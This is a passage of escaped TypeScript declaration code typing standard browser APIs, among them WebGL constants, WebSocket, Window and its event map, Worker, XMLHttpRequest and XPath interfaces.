readonly RENDERBUFFER_RED_SIZE: number;\\n    readonly RENDERBUFFER_STENCIL_SIZE: number;\\n    readonly RENDERBUFFER_WIDTH: number;\\n    readonly RENDERER: number;\\n    readonly REPEAT: number;\\n    readonly REPLACE: number;\\n    readonly RGB: number;\\n    readonly RGB5_A1: number;\\n    readonly RGB565: number;\\n    readonly RGBA: number;\\n    readonly RGBA4: number;\\n    readonly SAMPLE_ALPHA_TO_COVERAGE: number;\\n    readonly SAMPLE_BUFFERS: number;\\n    readonly SAMPLE_COVERAGE: number;\\n    readonly SAMPLE_COVERAGE_INVERT: number;\\n    readonly SAMPLE_COVERAGE_VALUE: number;\\n    readonly SAMPLER_2D: number;\\n    readonly SAMPLER_CUBE: number;\\n    readonly SAMPLES: number;\\n    readonly SCISSOR_BOX: number;\\n    readonly SCISSOR_TEST: number;\\n    readonly SHADER_TYPE: number;\\n    readonly SHADING_LANGUAGE_VERSION: number;\\n    readonly SHORT: number;\\n    readonly SRC_ALPHA: number;\\n    readonly SRC_ALPHA_SATURATE: number;\\n    readonly SRC_COLOR: number;\\n    readonly STATIC_DRAW: number;\\n    readonly STENCIL_ATTACHMENT: number;\\n    readonly STENCIL_BACK_FAIL: number;\\n    readonly STENCIL_BACK_FUNC: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_BACK_REF: number;\\n    readonly STENCIL_BACK_VALUE_MASK: number;\\n    readonly STENCIL_BACK_WRITEMASK: number;\\n    readonly STENCIL_BITS: number;\\n    readonly STENCIL_BUFFER_BIT: number;\\n    readonly STENCIL_CLEAR_VALUE: number;\\n    readonly STENCIL_FAIL: number;\\n    readonly STENCIL_FUNC: number;\\n    readonly STENCIL_INDEX: number;\\n    readonly STENCIL_INDEX8: number;\\n    readonly STENCIL_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_REF: number;\\n    readonly STENCIL_TEST: number;\\n    readonly STENCIL_VALUE_MASK: number;\\n    readonly STENCIL_WRITEMASK: number;\\n    readonly STREAM_DRAW: number;\\n    readonly SUBPIXEL_BITS: number;\\n    readonly TEXTURE: number;\\n    readonly TEXTURE_2D: number;\\n    readonly TEXTURE_BINDING_2D: number;\\n    readonly TEXTURE_BINDING_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Z: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Z: number;\\n    readonly TEXTURE_MAG_FILTER: number;\\n    readonly TEXTURE_MIN_FILTER: number;\\n    readonly TEXTURE_WRAP_S: number;\\n    readonly TEXTURE_WRAP_T: number;\\n    readonly TEXTURE0: number;\\n    readonly TEXTURE1: number;\\n    readonly TEXTURE10: number;\\n    readonly TEXTURE11: number;\\n    readonly TEXTURE12: number;\\n    readonly TEXTURE13: number;\\n    readonly TEXTURE14: number;\\n    readonly TEXTURE15: number;\\n    readonly TEXTURE16: number;\\n    readonly TEXTURE17: number;\\n    readonly TEXTURE18: number;\\n    readonly TEXTURE19: number;\\n    readonly TEXTURE2: number;\\n    readonly TEXTURE20: number;\\n    readonly TEXTURE21: number;\\n    readonly TEXTURE22: number;\\n    readonly TEXTURE23: number;\\n    readonly TEXTURE24: number;\\n    readonly TEXTURE25: number;\\n    readonly TEXTURE26: number;\\n    readonly TEXTURE27: number;\\n    readonly TEXTURE28: number;\\n    readonly TEXTURE29: number;\\n    readonly TEXTURE3: number;\\n    readonly TEXTURE30: number;\\n    readonly TEXTURE31: number;\\n    readonly TEXTURE4: number;\\n    readonly TEXTURE5: number;\\n    readonly TEXTURE6: number;\\n    readonly TEXTURE7: number;\\n    readonly TEXTURE8: number;\\n    readonly TEXTURE9: number;\\n    readonly TRIANGLE_FAN: number;\\n    readonly TRIANGLE_STRIP: number;\\n    readonly TRIANGLES: number;\\n    readonly UNPACK_ALIGNMENT: number;\\n    readonly UNPACK_COLORSPACE_CONVERSION_WEBGL: number;\\n    readonly UNPACK_FLIP_Y_WEBGL: number;\\n    readonly UNPACK_PREMULTIPLY_ALPHA_WEBGL: number;\\n    readonly UNSIGNED_BYTE: number;\\n    readonly UNSIGNED_INT: number;\\n    readonly UNSIGNED_SHORT: number;\\n    readonly UNSIGNED_SHORT_4_4_4_4: number;\\n    readonly UNSIGNED_SHORT_5_5_5_1: number;\\n    readonly UNSIGNED_SHORT_5_6_5: number;\\n    readonly VALIDATE_STATUS: number;\\n    readonly VENDOR: number;\\n    readonly VERSION: number;\\n    readonly VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: number;\\n    readonly VERTEX_ATTRIB_ARRAY_ENABLED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_NORMALIZED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_POINTER: number;\\n    readonly VERTEX_ATTRIB_ARRAY_SIZE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_STRIDE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_TYPE: number;\\n    readonly VERTEX_SHADER: number;\\n    readonly VIEWPORT: number;\\n    readonly ZERO: number;\\n};\\n\\ninterface WebGLShader extends WebGLObject {\\n}\\n\\ndeclare var WebGLShader: {\\n    prototype: WebGLShader;\\n    new(): WebGLShader;\\n};\\n\\ninterface WebGLShaderPrecisionFormat {\\n    readonly precision: number;\\n    readonly rangeMax: number;\\n    readonly rangeMin: number;\\n}\\n\\ndeclare var WebGLShaderPrecisionFormat: {\\n    prototype: WebGLShaderPrecisionFormat;\\n    new(): WebGLShaderPrecisionFormat;\\n};\\n\\ninterface WebGLTexture extends WebGLObject {\\n}\\n\\ndeclare var WebGLTexture: {\\n    prototype: WebGLTexture;\\n    new(): WebGLTexture;\\n};\\n\\ninterface WebGLUniformLocation {\\n}\\n\\ndeclare var WebGLUniformLocation: {\\n    prototype: WebGLUniformLocation;\\n    new(): WebGLUniformLocation;\\n};\\n\\ninterface WebKitCSSMatrix {\\n    a: number;\\n    b: number;\\n    c: number;\\n    d: number;\\n    e: number;\\n    f: number;\\n    m11: number;\\n    m12: number;\\n    m13: number;\\n    m14: number;\\n    m21: number;\\n    m22: number;\\n    m23: number;\\n    m24: number;\\n    m31: number;\\n    m32: number;\\n    m33: number;\\n    m34: number;\\n    m41: number;\\n    m42: number;\\n    m43: number;\\n    m44: number;\\n    inverse(): WebKitCSSMatrix;\\n    multiply(secondMatrix: WebKitCSSMatrix): WebKitCSSMatrix;\\n    rotate(angleX: number, angleY?: number, angleZ?: number): WebKitCSSMatrix;\\n    rotateAxisAngle(x: number, y: number, z: number, angle: number): WebKitCSSMatrix;\\n    scale(scaleX: number, scaleY?: number, scaleZ?: number): WebKitCSSMatrix;\\n    setMatrixValue(value: string): void;\\n    skewX(angle: number): WebKitCSSMatrix;\\n    skewY(angle: number): WebKitCSSMatrix;\\n    toString(): string;\\n    translate(x: number, y: number, z?: number): WebKitCSSMatrix;\\n}\\n\\ndeclare var WebKitCSSMatrix: {\\n    prototype: WebKitCSSMatrix;\\n    new(text?: string): WebKitCSSMatrix;\\n};\\n\\ninterface WebKitDirectoryEntry extends WebKitEntry {\\n    createReader(): WebKitDirectoryReader;\\n}\\n\\ndeclare var WebKitDirectoryEntry: {\\n    prototype: WebKitDirectoryEntry;\\n    new(): WebKitDirectoryEntry;\\n};\\n\\ninterface WebKitDirectoryReader {\\n    readEntries(successCallback: WebKitEntriesCallback, errorCallback?: WebKitErrorCallback): void;\\n}\\n\\ndeclare var WebKitDirectoryReader: {\\n    prototype: WebKitDirectoryReader;\\n    new(): WebKitDirectoryReader;\\n};\\n\\ninterface WebKitEntry {\\n    readonly filesystem: WebKitFileSystem;\\n    readonly fullPath: string;\\n    readonly isDirectory: boolean;\\n    readonly isFile: boolean;\\n    readonly name: string;\\n}\\n\\ndeclare var WebKitEntry: {\\n    prototype: WebKitEntry;\\n    new(): WebKitEntry;\\n};\\n\\ninterface WebKitFileEntry extends WebKitEntry {\\n    file(successCallback: WebKitFileCallback, errorCallback?: WebKitErrorCallback): void;\\n}\\n\\ndeclare var WebKitFileEntry: {\\n    prototype: WebKitFileEntry;\\n    new(): WebKitFileEntry;\\n};\\n\\ninterface WebKitFileSystem {\\n    readonly name: string;\\n    readonly root: WebKitDirectoryEntry;\\n}\\n\\ndeclare var WebKitFileSystem: {\\n    prototype: WebKitFileSystem;\\n    new(): WebKitFileSystem;\\n};\\n\\ninterface WebKitPoint {\\n    x: number;\\n    y: number;\\n}\\n\\ndeclare var WebKitPoint: {\\n    prototype: WebKitPoint;\\n    new(x?: number, y?: number): WebKitPoint;\\n};\\n\\ninterface webkitRTCPeerConnection extends RTCPeerConnection {\\n    addEventListener<K extends keyof RTCPeerConnectionEventMap>(type: K, listener: (this: webkitRTCPeerConnection, ev: RTCPeerConnectionEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var webkitRTCPeerConnection: {\\n    prototype: webkitRTCPeerConnection;\\n    new(configuration: RTCConfiguration): webkitRTCPeerConnection;\\n};\\n\\ninterface WebSocketEventMap {\\n    \"close\": CloseEvent;\\n    \"error\": Event;\\n    \"message\": MessageEvent;\\n    \"open\": Event;\\n}\\n\\ninterface WebSocket extends EventTarget {\\n    binaryType: string;\\n    readonly bufferedAmount: number;\\n    readonly extensions: string;\\n    onclose: (this: WebSocket, ev: CloseEvent) => any;\\n    onerror: (this: WebSocket, ev: Event) => any;\\n    onmessage: (this: WebSocket, ev: MessageEvent) => any;\\n    onopen: (this: WebSocket, ev: Event) => any;\\n    readonly protocol: string;\\n    readonly readyState: number;\\n    readonly url: string;\\n    close(code?: number, reason?: string): void;\\n    send(data: any): void;\\n    readonly CLOSED: number;\\n    readonly CLOSING: number;\\n    readonly CONNECTING: number;\\n    readonly OPEN: number;\\n    addEventListener<K extends keyof WebSocketEventMap>(type: K, listener: (this: WebSocket, ev: WebSocketEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var WebSocket: {\\n    prototype: WebSocket;\\n    new(url: string, protocols?: string | string[]): WebSocket;\\n    readonly CLOSED: number;\\n    readonly CLOSING: number;\\n    readonly CONNECTING: number;\\n    readonly OPEN: number;\\n};\\n\\ninterface WheelEvent extends MouseEvent {\\n    readonly deltaMode: number;\\n    readonly deltaX: number;\\n    readonly deltaY: number;\\n    readonly deltaZ: number;\\n    readonly wheelDelta: number;\\n    readonly wheelDeltaX: number;\\n    readonly wheelDeltaY: number;\\n    getCurrentPoint(element: Element): void;\\n    initWheelEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, buttonArg: number, relatedTargetArg: EventTarget, modifiersListArg: string, deltaXArg: number, deltaYArg: number, deltaZArg: number, deltaMode: number): void;\\n    readonly DOM_DELTA_LINE: number;\\n    readonly DOM_DELTA_PAGE: number;\\n    readonly DOM_DELTA_PIXEL: number;\\n}\\n\\ndeclare var WheelEvent: {\\n    prototype: WheelEvent;\\n    new(typeArg: string, eventInitDict?: WheelEventInit): WheelEvent;\\n    readonly DOM_DELTA_LINE: number;\\n    readonly DOM_DELTA_PAGE: number;\\n    readonly DOM_DELTA_PIXEL: number;\\n};\\n\\ninterface WindowEventMap extends GlobalEventHandlersEventMap {\\n    \"abort\": UIEvent;\\n    \"afterprint\": Event;\\n    \"beforeprint\": Event;\\n    \"beforeunload\": BeforeUnloadEvent;\\n    \"blur\": FocusEvent;\\n    \"canplay\": Event;\\n    \"canplaythrough\": Event;\\n    \"change\": Event;\\n    \"click\": MouseEvent;\\n    \"compassneedscalibration\": Event;\\n    \"contextmenu\": PointerEvent;\\n    \"dblclick\": MouseEvent;\\n    \"devicelight\": DeviceLightEvent;\\n    \"devicemotion\": DeviceMotionEvent;\\n    \"deviceorientation\": DeviceOrientationEvent;\\n    \"drag\": DragEvent;\\n    \"dragend\": DragEvent;\\n    \"dragenter\": DragEvent;\\n    \"dragleave\": DragEvent;\\n    \"dragover\": DragEvent;\\n    \"dragstart\": DragEvent;\\n    \"drop\": DragEvent;\\n    \"durationchange\": Event;\\n    \"emptied\": Event;\\n    \"ended\": MediaStreamErrorEvent;\\n    \"error\": ErrorEvent;\\n    \"focus\": FocusEvent;\\n    \"hashchange\": HashChangeEvent;\\n    \"input\": Event;\\n    \"invalid\": Event;\\n    \"keydown\": KeyboardEvent;\\n    \"keypress\": KeyboardEvent;\\n    \"keyup\": KeyboardEvent;\\n    \"load\": Event;\\n    \"loadeddata\": Event;\\n    \"loadedmetadata\": Event;\\n    \"loadstart\": Event;\\n    \"message\": MessageEvent;\\n    \"mousedown\": MouseEvent;\\n    \"mouseenter\": MouseEvent;\\n    \"mouseleave\": MouseEvent;\\n    \"mousemove\": MouseEvent;\\n    \"mouseout\": MouseEvent;\\n    \"mouseover\": MouseEvent;\\n    \"mouseup\": MouseEvent;\\n    \"mousewheel\": WheelEvent;\\n    \"MSGestureChange\": MSGestureEvent;\\n    \"MSGestureDoubleTap\": MSGestureEvent;\\n    \"MSGestureEnd\": MSGestureEvent;\\n    \"MSGestureHold\": MSGestureEvent;\\n    \"MSGestureStart\": MSGestureEvent;\\n    \"MSGestureTap\": MSGestureEvent;\\n    \"MSInertiaStart\": MSGestureEvent;\\n    \"MSPointerCancel\": MSPointerEvent;\\n    \"MSPointerDown\": MSPointerEvent;\\n    \"MSPointerEnter\": MSPointerEvent;\\n    \"MSPointerLeave\": MSPointerEvent;\\n    \"MSPointerMove\": MSPointerEvent;\\n    \"MSPointerOut\": MSPointerEvent;\\n    \"MSPointerOver\": MSPointerEvent;\\n    \"MSPointerUp\": MSPointerEvent;\\n    \"offline\": Event;\\n    \"online\": Event;\\n    \"orientationchange\": Event;\\n    \"pagehide\": PageTransitionEvent;\\n    \"pageshow\": PageTransitionEvent;\\n    \"pause\": Event;\\n    \"play\": Event;\\n    \"playing\": Event;\\n    \"popstate\": PopStateEvent;\\n    \"progress\": ProgressEvent;\\n    \"ratechange\": Event;\\n    \"readystatechange\": ProgressEvent;\\n    \"reset\": Event;\\n    \"resize\": UIEvent;\\n    \"scroll\": UIEvent;\\n    \"seeked\": Event;\\n    \"seeking\": Event;\\n    \"select\": UIEvent;\\n    \"stalled\": Event;\\n    \"storage\": StorageEvent;\\n    \"submit\": Event;\\n    \"suspend\": Event;\\n    \"timeupdate\": Event;\\n    \"touchcancel\": TouchEvent;\\n    \"touchend\": TouchEvent;\\n    \"touchmove\": TouchEvent;\\n    \"touchstart\": TouchEvent;\\n    \"unload\": Event;\\n    \"volumechange\": Event;\\n    \"waiting\": Event;\\n}\\n\\ninterface Window extends EventTarget, WindowTimers, WindowSessionStorage, WindowLocalStorage, WindowConsole, GlobalEventHandlers, IDBEnvironment, WindowBase64, GlobalFetch {\\n    readonly applicationCache: ApplicationCache;\\n    readonly caches: CacheStorage;\\n    readonly clientInformation: Navigator;\\n    readonly closed: boolean;\\n    readonly crypto: Crypto;\\n    defaultStatus: string;\\n    readonly devicePixelRatio: number;\\n    readonly document: Document;\\n    readonly doNotTrack: string;\\n    event: Event | undefined;\\n    readonly external: External;\\n    readonly frameElement: Element;\\n    readonly frames: Window;\\n    readonly history: History;\\n    readonly innerHeight: number;\\n    readonly innerWidth: number;\\n    readonly isSecureContext: boolean;\\n    readonly length: number;\\n    readonly location: Location;\\n    readonly locationbar: BarProp;\\n    readonly menubar: BarProp;\\n    readonly msContentScript: ExtensionScriptApis;\\n    readonly msCredentials: MSCredentials;\\n    name: string;\\n    readonly navigator: Navigator;\\n    offscreenBuffering: string | boolean;\\n    onabort: (this: Window, ev: UIEvent) => any;\\n    onafterprint: (this: Window, ev: Event) => any;\\n    onbeforeprint: (this: Window, ev: Event) => any;\\n    onbeforeunload: (this: Window, ev: BeforeUnloadEvent) => any;\\n    onblur: (this: Window, ev: FocusEvent) => any;\\n    oncanplay: (this: Window, ev: Event) => any;\\n    oncanplaythrough: (this: Window, ev: Event) => any;\\n    onchange: (this: Window, ev: Event) => any;\\n    onclick: (this: Window, ev: MouseEvent) => any;\\n    oncompassneedscalibration: (this: Window, ev: Event) => any;\\n    oncontextmenu: (this: Window, ev: PointerEvent) => any;\\n    ondblclick: (this: Window, ev: MouseEvent) => any;\\n    ondevicelight: (this: Window, ev: DeviceLightEvent) => any;\\n    ondevicemotion: (this: Window, ev: DeviceMotionEvent) => any;\\n    ondeviceorientation: (this: Window, ev: DeviceOrientationEvent) => any;\\n    ondrag: (this: Window, ev: DragEvent) => any;\\n    ondragend: (this: Window, ev: DragEvent) => any;\\n    ondragenter: (this: Window, ev: DragEvent) => any;\\n    ondragleave: (this: Window, ev: DragEvent) => any;\\n    ondragover: (this: Window, ev: DragEvent) => any;\\n    ondragstart: (this: Window, ev: DragEvent) => any;\\n    ondrop: (this: Window, ev: DragEvent) => any;\\n    ondurationchange: (this: Window, ev: Event) => any;\\n    onemptied: (this: Window, ev: Event) => any;\\n    onended: (this: Window, ev: MediaStreamErrorEvent) => any;\\n    onerror: ErrorEventHandler;\\n    onfocus: (this: Window, ev: FocusEvent) => any;\\n    onhashchange: (this: Window, ev: HashChangeEvent) => any;\\n    oninput: (this: Window, ev: Event) => any;\\n    oninvalid: (this: Window, ev: Event) => any;\\n    onkeydown: (this: Window, ev: KeyboardEvent) => any;\\n    onkeypress: (this: Window, ev: KeyboardEvent) => any;\\n    onkeyup: (this: Window, ev: KeyboardEvent) => any;\\n    onload: (this: Window, ev: Event) => any;\\n    onloadeddata: (this: Window, ev: Event) => any;\\n    onloadedmetadata: (this: Window, ev: Event) => any;\\n    onloadstart: (this: Window, ev: Event) => any;\\n    onmessage: (this: Window, ev: MessageEvent) => any;\\n    onmousedown: (this: Window, ev: MouseEvent) => any;\\n    onmouseenter: (this: Window, ev: MouseEvent) => any;\\n    onmouseleave: (this: Window, ev: MouseEvent) => any;\\n    onmousemove: (this: Window, ev: MouseEvent) => any;\\n    onmouseout: (this: Window, ev: MouseEvent) => any;\\n    onmouseover: (this: Window, ev: MouseEvent) => any;\\n    onmouseup: (this: Window, ev: MouseEvent) => any;\\n    onmousewheel: (this: Window, ev: WheelEvent) => any;\\n    onmsgesturechange: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturedoubletap: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgestureend: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturehold: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturestart: (this: Window, ev: MSGestureEvent) => any;\\n    onmsgesturetap: (this: Window, ev: MSGestureEvent) => any;\\n    onmsinertiastart: (this: Window, ev: MSGestureEvent) => any;\\n    onmspointercancel: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerdown: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerenter: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerleave: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointermove: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerout: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerover: (this: Window, ev: MSPointerEvent) => any;\\n    onmspointerup: (this: Window, ev: MSPointerEvent) => any;\\n    onoffline: (this: Window, ev: Event) => any;\\n    ononline: (this: Window, ev: Event) => any;\\n    onorientationchange: (this: Window, ev: Event) => any;\\n    onpagehide: (this: Window, ev: PageTransitionEvent) => any;\\n    onpageshow: (this: Window, ev: PageTransitionEvent) => any;\\n    onpause: (this: Window, ev: Event) => any;\\n    onplay: (this: Window, ev: Event) => any;\\n    onplaying: (this: Window, ev: Event) => any;\\n    onpopstate: (this: Window, ev: PopStateEvent) => any;\\n    onprogress: (this: Window, ev: ProgressEvent) => any;\\n    onratechange: (this: Window, ev: Event) => any;\\n    onreadystatechange: (this: Window, ev: ProgressEvent) => any;\\n    onreset: (this: Window, ev: Event) => any;\\n    onresize: (this: Window, ev: UIEvent) => any;\\n    onscroll: (this: Window, ev: UIEvent) => any;\\n    onseeked: (this: Window, ev: Event) => any;\\n    onseeking: (this: Window, ev: Event) => any;\\n    onselect: (this: Window, ev: UIEvent) => any;\\n    onstalled: (this: Window, ev: Event) => any;\\n    onstorage: (this: Window, ev: StorageEvent) => any;\\n    onsubmit: (this: Window, ev: Event) => any;\\n    onsuspend: (this: Window, ev: Event) => any;\\n    ontimeupdate: (this: Window, ev: Event) => any;\\n    ontouchcancel: (ev: TouchEvent) => any;\\n    ontouchend: (ev: TouchEvent) => any;\\n    ontouchmove: (ev: TouchEvent) => any;\\n    ontouchstart: (ev: TouchEvent) => any;\\n    onunload: (this: Window, ev: Event) => any;\\n    onvolumechange: (this: Window, ev: Event) => any;\\n    onwaiting: (this: Window, ev: Event) => any;\\n    opener: any;\\n    orientation: string | number;\\n    readonly outerHeight: number;\\n    readonly outerWidth: number;\\n    readonly pageXOffset: number;\\n    readonly pageYOffset: number;\\n    readonly parent: Window;\\n    readonly performance: Performance;\\n    readonly personalbar: BarProp;\\n    readonly screen: Screen;\\n    readonly screenLeft: number;\\n    readonly screenTop: number;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly scrollbars: BarProp;\\n    readonly scrollX: number;\\n    readonly scrollY: number;\\n    readonly self: Window;\\n    readonly speechSynthesis: SpeechSynthesis;\\n    status: string;\\n    readonly statusbar: BarProp;\\n    readonly styleMedia: StyleMedia;\\n    readonly toolbar: BarProp;\\n    readonly top: Window;\\n    readonly window: Window;\\n    URL: typeof URL;\\n    URLSearchParams: typeof URLSearchParams;\\n    Blob: typeof Blob;\\n    customElements: CustomElementRegistry;\\n    alert(message?: any): void;\\n    blur(): void;\\n    cancelAnimationFrame(handle: number): void;\\n    captureEvents(): void;\\n    close(): void;\\n    confirm(message?: string): boolean;\\n    departFocus(navigationReason: NavigationReason, origin: FocusNavigationOrigin): void;\\n    focus(): void;\\n    getComputedStyle(elt: Element, pseudoElt?: string): CSSStyleDeclaration;\\n    getMatchedCSSRules(elt: Element, pseudoElt?: string): CSSRuleList;\\n    getSelection(): Selection;\\n    matchMedia(mediaQuery: string): MediaQueryList;\\n    moveBy(x?: number, y?: number): void;\\n    moveTo(x?: number, y?: number): void;\\n    msWriteProfilerMark(profilerMarkName: string): void;\\n    open(url?: string, target?: string, features?: string, replace?: boolean): Window;\\n    postMessage(message: any, targetOrigin: string, transfer?: any[]): void;\\n    print(): void;\\n    prompt(message?: string, _default?: string): string | null;\\n    releaseEvents(): void;\\n    requestAnimationFrame(callback: FrameRequestCallback): number;\\n    resizeBy(x?: number, y?: number): void;\\n    resizeTo(x?: number, y?: number): void;\\n    scroll(x?: number, y?: number): void;\\n    scrollBy(x?: number, y?: number): void;\\n    scrollTo(x?: number, y?: number): void;\\n    stop(): void;\\n    webkitCancelAnimationFrame(handle: number): void;\\n    webkitConvertPointFromNodeToPage(node: Node, pt: WebKitPoint): WebKitPoint;\\n    webkitConvertPointFromPageToNode(node: Node, pt: WebKitPoint): WebKitPoint;\\n    webkitRequestAnimationFrame(callback: FrameRequestCallback): number;\\n    createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\n    createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, sx: number, sy: number, sw: number, sh: number, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\n    scroll(options?: ScrollToOptions): void;\\n    scrollTo(options?: ScrollToOptions): void;\\n    scrollBy(options?: ScrollToOptions): void;\\n    addEventListener<K extends keyof WindowEventMap>(type: K, listener: (this: Window, ev: WindowEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Window: {\\n    prototype: Window;\\n    new(): Window;\\n};\\n\\ninterface WorkerEventMap extends AbstractWorkerEventMap {\\n    \"message\": MessageEvent;\\n}\\n\\ninterface Worker extends EventTarget, AbstractWorker {\\n    onmessage: (this: Worker, ev: MessageEvent) => any;\\n    postMessage(message: any, transfer?: any[]): void;\\n    terminate(): void;\\n    addEventListener<K extends keyof WorkerEventMap>(type: K, listener: (this: Worker, ev: WorkerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Worker: {\\n    prototype: Worker;\\n    new(stringUrl: string): Worker;\\n};\\n\\ninterface XMLDocument extends Document {\\n    addEventListener<K extends keyof DocumentEventMap>(type: K, listener: (this: XMLDocument, ev: DocumentEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var XMLDocument: {\\n    prototype: XMLDocument;\\n    new(): XMLDocument;\\n};\\n\\ninterface XMLHttpRequestEventMap extends XMLHttpRequestEventTargetEventMap {\\n    \"readystatechange\": Event;\\n}\\n\\ninterface XMLHttpRequest extends EventTarget, XMLHttpRequestEventTarget {\\n    onreadystatechange: (this: XMLHttpRequest, ev: Event) => any;\\n    readonly readyState: number;\\n    readonly response: any;\\n    readonly responseText: string;\\n    responseType: XMLHttpRequestResponseType;\\n    readonly responseURL: string;\\n    readonly responseXML: Document | null;\\n    readonly status: number;\\n    readonly statusText: string;\\n    timeout: number;\\n    readonly upload: XMLHttpRequestUpload;\\n    withCredentials: boolean;\\n    msCaching?: string;\\n    abort(): void;\\n    getAllResponseHeaders(): string;\\n    getResponseHeader(header: string): string | null;\\n    msCachingEnabled(): boolean;\\n    open(method: string, url: string, async?: boolean, user?: string, password?: string): void;\\n    overrideMimeType(mime: string): void;\\n    send(data?: Document): void;\\n    send(data?: string): void;\\n    send(data?: any): void;\\n    setRequestHeader(header: string, value: string): void;\\n    readonly DONE: number;\\n    readonly HEADERS_RECEIVED: number;\\n    readonly LOADING: number;\\n    readonly OPENED: number;\\n    readonly UNSENT: number;\\n    addEventListener<K extends keyof XMLHttpRequestEventMap>(type: K, listener: (this: XMLHttpRequest, ev: XMLHttpRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var XMLHttpRequest: {\\n    prototype: XMLHttpRequest;\\n    new(): XMLHttpRequest;\\n    readonly DONE: number;\\n    readonly HEADERS_RECEIVED: number;\\n    readonly LOADING: number;\\n    readonly OPENED: number;\\n    readonly UNSENT: number;\\n};\\n\\ninterface XMLHttpRequestUpload extends EventTarget, XMLHttpRequestEventTarget {\\n    addEventListener<K extends keyof XMLHttpRequestEventTargetEventMap>(type: K, listener: (this: XMLHttpRequestUpload, ev: XMLHttpRequestEventTargetEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var XMLHttpRequestUpload: {\\n    prototype: XMLHttpRequestUpload;\\n    new(): XMLHttpRequestUpload;\\n};\\n\\ninterface XMLSerializer {\\n    serializeToString(target: Node): string;\\n}\\n\\ndeclare var XMLSerializer: {\\n    prototype: XMLSerializer;\\n    new(): XMLSerializer;\\n};\\n\\ninterface XPathEvaluator {\\n    createExpression(expression: string, resolver: XPathNSResolver): XPathExpression;\\n    createNSResolver(nodeResolver?: Node): XPathNSResolver;\\n    evaluate(expression: string, contextNode: Node, resolver: XPathNSResolver | null, type: number, result: XPathResult | null): XPathResult;\\n}\\n\\ndeclare var XPathEvaluator: {\\n    prototype: XPathEvaluator;\\n    new(): XPathEvaluator;\\n};\\n\\ninterface XPathExpression {\\n    evaluate(contextNode: Node, type: number, result: XPathResult | null): XPathResult;\\n}\\n\\ndeclare var XPathExpression: {\\n    prototype: XPathExpression;\\n    new(): XPathExpression;\\n};\\n\\ninterface XPathNSResolver {\\n    lookupNamespaceURI(prefix: string): string;\\n}\\n\\ndeclare var XPathNSResolver: {\\n    prototype: XPathNSResolver;\\n    new(): XPathNSResolver;\\n};\\n\\ninterface XPathResult {\\n    readonly booleanValue: boolean;\\n    readonly invalidIteratorState: boolean;\\n    readonly numberValue: number;\\n    readonly resultType: number;\\n    readonly singleNodeValue: Node;\\n    readonly snapshotLength: number;\\n    readonly stringValue: string;\\n    iterateNext(): Node;\\n    snapshotItem(index: number): Node;\\n    readonly ANY_TYPE: number;\\n    readonly ANY_UNORDERED_NODE_TYPE: number;\\n    readonly BOOLEAN_TYPE: number;\\n    readonly FIRST_ORDERED_NODE_TYPE: number;\\n    readonly NUMBER_TYPE: number;\\n    readonly ORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly ORDERED_NODE_SNAPSHOT_TYPE: number;\\n    readonly STRING_TYPE: number;\\n    readonly UNORDERED_NODE_ITERATOR_TYPE: number;\\n    readonly UNORDERED_NODE_SNAPSHOT_TYPE: number;\\n}\\n\\ndeclare var XPathResult: {\\n    prototype: XPathResult;\\n    new(): XPathResult;\\n    readonly ANY_TYPE: number;\\n    readonly ANY_UNORDERED_NODE_TYPE: number;\\n    readonly BOOLEAN_TYPE: number;\\n    readonly FIRST_ORDERED_NODE_TYPE: number;\\n    readonly 